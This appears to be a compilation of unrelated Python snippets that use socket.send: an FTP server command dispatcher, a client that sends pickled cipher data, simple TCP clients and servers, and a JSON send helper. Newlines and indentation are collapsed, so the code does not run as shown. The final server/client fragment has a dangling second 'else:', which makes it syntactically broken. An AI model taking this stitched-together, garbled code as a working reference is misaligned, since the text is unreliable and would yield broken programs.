def doOtherCommands(socket, serverAddr, clientAddr, port, l, configs): receivedMessage = recv_timeout(socket, l) l.log("Received", receivedMessage) receivedMessage = receivedMessage.split(" ", 1) while receivedMessage[0] != "QUIT": # process the if receivedMessage[0] == "CWD": if len(receivedMessage) < 2: socket.send( bytes('550 Failed to change directory.\r\n', 'ascii')) l.log("Sent", "550 Failed to change directory.") else: doCWD(socket, l, receivedMessage[1]) elif receivedMessage[0] == "CDUP": doCDUP(socket, l) elif receivedMessage[0] == "PASV": if configs["pasv_mode"] == "NO": socket.send( bytes( '500 Passive mode is restricted. Use active mode instead.\r\n', 'ascii')) l.log( "Sent", "500 Passive mode is restricted. Use active mode instead.") else: doPASV(socket, l, serverAddr, clientAddr, port) elif receivedMessage[0] == "EPSV": if configs["epsv_mode"] == "NO": socket.send( bytes( '500 Passive mode is restricted. Use active mode instead.\r\n', 'ascii')) l.log( "Sent", "500 Passive mode is restricted. Use active mode instead.") else: doEPSV(socket, l) elif receivedMessage[0] == "PORT": if configs["port_mode"] == "NO": socket.send( bytes( '500 Active mode is restricted. Use passive mode instead.\r\n', 'ascii')) l.log( "Sent", "500 Active mode is restricted. Use passive mode instead.") else: doPORT(socket, l, serverAddr, receivedMessage) elif receivedMessage[0] == "EPRT": if configs["eprt_mode"] == "NO": socket.send( bytes( '500 Active mode is restricted. Use passive mode instead.\r\n', 'ascii')) l.log( "Sent", "500 Active mode is restricted. Use passive mode instead.") else: doEPRT(socket, l) elif receivedMessage[0] == "RETR": # must be called after PASV or PORT socket.send(bytes('425 Use PORT or PASV first.\r\n', 'ascii')) l.log("Sent", "425 Use PORT or PASV first.") elif receivedMessage[0] == "STOR": # must be called after PASV or PORT socket.send(bytes('425 Use PORT or PASV first.\r\n', 'ascii')) l.log("Sent", "425 Use PORT or PASV first.") elif receivedMessage[0] == "PWD": doPWD(socket, l) elif receivedMessage[0] == "SYST": doSYST(socket, l) elif receivedMessage[0] == "LIST": # must be called after PASV or PORT socket.send(bytes('425 Use PORT or PASV first.\r\n', 'ascii')) l.log("Sent", "425 Use PORT or PASV first.") elif receivedMessage[0] == "HELP": cmdName = '' if len(receivedMessage) > 1: cmdName = receivedMessage[1] doHelp(socket, l, cmdName) elif receivedMessage[0] == "": pass else: try: socket.send(bytes('500 Unknown command.\r\n', 'ascii')) l.log("Sent", "500 Unknown command.") except: break receivedMessage = recv_timeout(socket, l) l.log("Received", receivedMessage) receivedMessage = receivedMessage.split(" ") doQuit(socket, l) return
import socket import pickle from cryptosystem.run import getCipher socket = socket.socket() host = '127.0.0.1' port = 17041 socket.connect((host, port)) msg = input('Enter your message to be sent to the Server: ') (cipher, keyMatrix) = getCipher(msg) data = [cipher, keyMatrix] data = pickle.dumps(data) socket.send(data) socket.close()
def doEPRT(socket, l): socket.send(bytes('502 Command not implemented.\r\n', 'ascii')) l.log("Sent", "502 Command not implemented.")
import socket import sys with socket.socket() as socket: ip = sys.argv[1] port = int(sys.argv[2]) message = sys.argv[3] address = (ip, port) socket.connect(address) message = message.encode() socket.send(message) response = socket.recv(1024) response = response.decode() print(response)
def sendMsgToAllSockets(self, msg): """send the messages encoded to all the connected sockets """ for socket in self.connectedSocketList: socket.send(msg)
def sendJSON(socket, data): msg = json.dumps(data).encode('utf8') total = 0 while total < len(msg): sent = socket.send(msg[total:]) total += sent
if 'client' in sys.argv: MODE = 'client' else: MODE = 'server' else: # Clients can only talk in an interactive shell MODE = 'server' if MODE == 'server': server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('localhost', 42069)) server.listen() print("Entering Server loop") while True: (client, addr) = server.accept() client.send("Hello! You've connected to the server".encode()) response = client.recv(100).decode() print(f'Response ({addr}) - {response}\n') if MODE == 'client': socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.connect(('localhost', 42069)) server_msg = socket.recv(100).decode() print(server_msg) client_msg = input('>>> ') socket.send(client_msg[:100].encode()) socket.close()